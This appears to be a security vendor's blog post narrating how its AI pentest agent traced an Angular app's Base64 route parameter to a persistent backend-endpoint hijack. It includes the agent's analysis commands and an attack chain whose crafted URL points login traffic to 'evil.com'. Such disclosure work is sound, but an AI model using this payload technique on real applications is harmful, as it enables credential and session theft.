AI vs. the Frontend: 1-0 - Cylent’s AI Agent Uncovers a Critical Zero-Day in Client-Side Logic

During a recent security assessment, Cylent's AI-assisted penetration testing platform identified a critical client-side vulnerability that enables complete account takeover through endpoint manipulation.

This sophisticated attack vector allows malicious actors to redirect all API traffic to attacker-controlled servers, capturing credentials, session tokens, and sensitive user data.

The Discovery: Following the AI's Reasoning

Understanding how this vulnerability works requires following the AI's systematic analysis through the application's client-side code. What follows is a detailed look at how Cylent's AI agent dissected the attack surface, traced data flows, and connected the dots to reveal a critical security flaw.

Initial Reconnaissance: The Suspicious Parameter

The investigation began when the AI agent loaded the target application and immediately noticed an unusual pattern in the URL structure.

A Base64-encoded string appeared as a route parameter—a pattern that often signals security issues. Before diving into the code, the AI needed to understand what data was actually being passed.

AI Agent: "I'm observing a hash-based route with what appears to be a Base64-encoded 
parameter. Before analyzing the code, I need to decode this to understand what type 
of data the application is accepting. This will help me form an initial hypothesis 
about the vulnerability class."

$ echo "aHR0cHM6Ly9hcGkuZXhhbXBsZS5jb20=" | base64 -d
https://api.example.com

AI Agent: "The parameter decodes to a complete URL. 
This is a strong indicator of either an open redirect vulnerability or some form of URL-based configuration manipulation. 
Given the context—a URL within a hash route parameter—my initial hypothesis is that this is an open redirect vulnerability where the application redirects users to this URL after authentication. 
I'll need to trace how this parameter is processed to confirm."

With a working hypothesis established, the AI began its code analysis.

Step 1: Locating the Route Definition

Rather than manually searching through the entire JavaScript bundle, the AI took a strategic approach: search for the route name directly. This would reveal how the application defined the parameter and what components handled it.

AI Agent: "I need to find where the 'login-form' route is defined in the application's routing configuration. 
This will tell me the parameter name, which component processes it, and any route guards that might handle it. 
Let me retrieve the application bundle and search for the route definition."

$ curl -s "https://target-app.com/static/js/main.js" -o app.js
$ grep -n "login-form" app.js

Result:
Line 34521: path: 'login-form/:paramURL',

AI Agent: "Excellent. Line 34521 contains the route definition. Let me extract the complete routing configuration to understand the full context."

$ sed -n '34521,34523p' app.js

Result:
path: 'login-form/:paramURL',
component: dy,
canActivate: [ ng ]

AI Agent: "The route accepts a parameter named ':paramURL'.
the naming convention strongly suggests the developers expect URL content. 
More importantly, there's a canActivate guard (ng) that will execute before the component loads. 
Route guards typically handle authentication and authorization, but they can also process route parameters. 
This guard is where I should look for parameter processing logic. 
The parameter name confirms we're dealing with URL data, supporting my open redirect hypothesis."

Step 2: Finding the Decode Operation

The AI knew the parameter was Base64-encoded, which meant the application must decode it somewhere. Instead of searching for the parameter name (which could appear in dozens of minified variable assignments), the AI used a more surgical approach: search for JavaScript's Base64 decoding function.

AI Agent: "The parameter is Base64-encoded in the URL, so the application must call atob() to decode it. 
Searching for atob will take me directly to where the parameter is being decoded and used, 
bypassing all the intermediate variable assignments in the minified code."

$ grep -n "atob" app.js

Result:
Line 12847: r = atob(String(r).replace(o, '/')),
Line 12856: r = atob(String(r).replace(o, '/')),

AI Agent: "Two atob() calls found, both at similar line numbers. They're likely in the same function handling different code paths. Let me extract the surrounding context to see the complete logic flow."

$ sed -n '12840,12865p' app.js

Result:
if (n) {
  const e = localStorage.getItem('Item 1');
  null == e ? this.appInfo.bURLServ ? (
  ) : (
    this.appInfo.SetURLServ('http://<REDACTED>:8787/<REDACTED>'),
    this.appInfo.SetbURLServ(!0)
  ) : (
    r = e,
    r = atob(String(r).replace(o, '/')),
    this.appInfo.SetURLServ(r),
    this.appInfo.SetbURLServ(!0),
  )
}
if (i && !this.appInfo.bURLServ) {
  const t = JSON.parse(JSON.stringify(e.params));
  r = t.paramURL,
  localStorage.setItem('Item 1', r),
  r = atob(String(r).replace(o, '/')),
  this.appInfo.SetURLServ(r),
  this.appInfo.SetbURLServ(!0)
}

AI Agent: "This is NOT what I expected. 
This is not an open redirect pattern at all. 
Both code paths do the same thing after decoding: 
they call this.appInfo.SetURLServ(r). 
The function name 'SetURLServ' strongly suggests 'Set URL Server'—this appears to be configuring the backend API endpoint, not redirecting the user. 
hypothesis: I notice localStorage operations here, which could mean persistence. Let me investigate the storage mechanism first."

The atob search revealed something unexpected, forcing the AI to revise its hypothesis entirely.

Step 3: Confirming the Attack Chain

The decode operations revealed both the parameter processing and localStorage usage, which meant the AI could now trace the complete attack chain. This final analysis step would confirm the vulnerability's severity and persistence.

AI Agent: "I've found both the parameter extraction and storage operations  in the same code section. 
Let me trace the complete data flow to confirm the attack chain. 
I need to verify: where the parameter comes from, how it's stored, how it's retrieved, 
and most critically, where this SetURLServ function is used. 
Let me search for how URLServ is used in HTTP operations."

$ grep -n "appInfo.URLServ" app.js | head -10

Result:
Line 23456: this._http.post(this.appInfo.URLServ)

AI Agent: "Found it. The configured URL is used directly in HTTP POST requests. 
Let me extract that method to see what data is being sent."

$ sed -n '23450,23465p' app.js

Result:
enrollLoginIP(e) {
  ```
  REDACTED LOGIC
  ```
  this._http.post(this.appInfo.URLServ, {
    headers: this.headers
  }).pipe(
    ```
    REDACTED LOGIC
    ```
  )
}

AI Agent: "Complete vulnerability confirmed. 
The method name 'enrollLoginIP' indicates this is the login handler. 
The attacker-controlled URL (this.appInfo.URLServ) is used as the destination for HTTP POST requests containing credentials and authentication data.

Let me map out the complete attack chain:

ATTACK CHAIN IDENTIFIED:
═══════════════════════════════════════════════════════════════════

Stage 1: ENTRY POINT
→ Victim visits: https://target-app.com/#/login-form/aHR0cDovL2V2aWwuY29tL2FwaQ==
→ Route definition: path: 'login-form/:paramURL'

Stage 2: PARAMETER EXTRACTION (Line 12852-12853)
→ Route guard executes: if (i && !this.appInfo.bURLServ)
→ Extract parameter: r = t.paramURL
→ Value: 'aHR0cDovL2V2aWwuY29tL2FwaQ=='

Stage 3: PERSISTENT STORAGE (Line 12853)
→ Store to localStorage: localStorage.setItem('Item 1', r)
→ Persists across: browser restarts, page navigation, sessions

Stage 4: DECODE & CONFIGURE (Line 12854-12855)
→ Decode: r = atob(String(r).replace(o, '/'))
→ Result: 'http://evil.com/api'
→ Configure backend: this.appInfo.SetURLServ(r)

Stage 5: PERSISTENCE MECHANISM (Line 12843-12849)
→ On subsequent visits: const e = localStorage.getItem('Item 1')
→ Retrieve and decode: r = atob(String(r).replace(o, '/'))
→ Reconfigure: this.appInfo.SetURLServ(r)
→ Attack continues indefinitely

Stage 6: EXPLOITATION (Line 23456)
→ User attempts login via enrollLoginIP()
→ Request sent: this._http.post(this.appInfo.URLServ, credentials, headers)
→ Destination: http://evil.com/api (attacker's server)
→ Payload: username, password, session data
→ Headers: this.headers (authentication tokens)

Impact

This flaw allowed the AI to uncover a critical weakness: by manipulating a single client-side parameter, an attacker could permanently hijack all backend communication for any user, intercepting login requests, authentication tokens, and sensitive data.

This results in full session compromise, account takeover, and complete loss of confidentiality and integrity for affected users.

Conclusion: The Future of Security Testing is Here

This vulnerability is the perfect example of how AI can uncover hidden, high-impact flaws buried deep in modern applications—issues that traditional testing often overlooks. When human expertise and AI automation work together, attackers lose their advantage.